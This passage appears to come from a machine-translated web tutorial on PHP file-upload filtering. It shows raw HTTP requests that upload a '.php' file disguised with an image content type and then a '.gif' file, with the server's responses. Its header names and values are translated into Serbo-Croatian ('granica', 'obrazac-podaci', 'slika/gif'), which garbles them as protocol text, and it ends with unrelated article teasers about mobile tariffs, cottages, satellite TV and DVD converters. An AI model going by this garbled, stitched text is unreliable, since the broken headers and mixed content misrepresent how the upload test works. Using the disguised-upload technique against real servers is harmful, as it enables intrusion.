Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
dužina sadržaja: 14835
--xYzZY
Content-Disposition: obrazac-podaci; name="korisnički fajl"; filename="crocus.php"
Vrsta sadržaja: slika/gif

--xYzZY-

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 36
Veza: zatvorena
Content-Type: text/html
Ako učitamo datoteku sa ekstenzijom .gif, onda će ona biti učitana:

Zahtjev:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
dužina sadržaja: 14835
--xYzZY
Content-Disposition: obrazac-podaci; name="korisnički fajl"; filename="crocus.gif"
Vrsta sadržaja: slika/gif
GIF89(...preskakanje binarnih podataka...)
--xYzZY--

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 59
Veza: zatvorena
Content-Type: text/html
Datoteka je važeća i uspješno je otpremljena.

Sada, ako zatražimo učitani fajl, server ga neće izvršiti:
 
Članci on tema:
Opis MTS tarife „Pametno za svoje Tarifni plan pametno za svoj MTS
Datum: 27. mart 2018. „Pametno za prijatelje“ je zatvoreni MTS tarifni plan, na koji se može prebaciti korišćenjem posebnog koda. Ova tarifa je izuzetno korisna za većinu regiona Rusije - pretplata je samo 200 rubalja mesečno, a mi paket
Vikendice u Finskoj Izbor vikendica u Finskoj
Promjena postavki privatnosti Odaberite kolačiće koje želite prihvatiti na stranici. Šta su funkcionalni kolačići? Kolačići funkcionalnosti pomažu našoj web stranici da pravilno funkcionira i omogućavaju vam da kreirate, prijavite se i upravljate računom.
Samopodešavajući kanali NTV plus
Satelitska TV NTV plus je oldtajmer na tržištu telekomunikacija. Kompanija počinje svoju istoriju 1996. godine, kada se u Rusiji pojavila prva satelitska TV-platna televizija. Baza pretplatnika već ima nekoliko miliona publike. NTV je
Tri besplatna DVD konvertora za pretvaranje diskova u mp4 format
Zašto ćete možda morati da konvertujete AVI u DVD? Zamislite da želite da snimite DVD disk, a izvorni fajl je u AVI formatu. Često se koristi za smanjenje veličine videa. U ovom slučaju, zgodan DVD u AVI konverter može pomoći.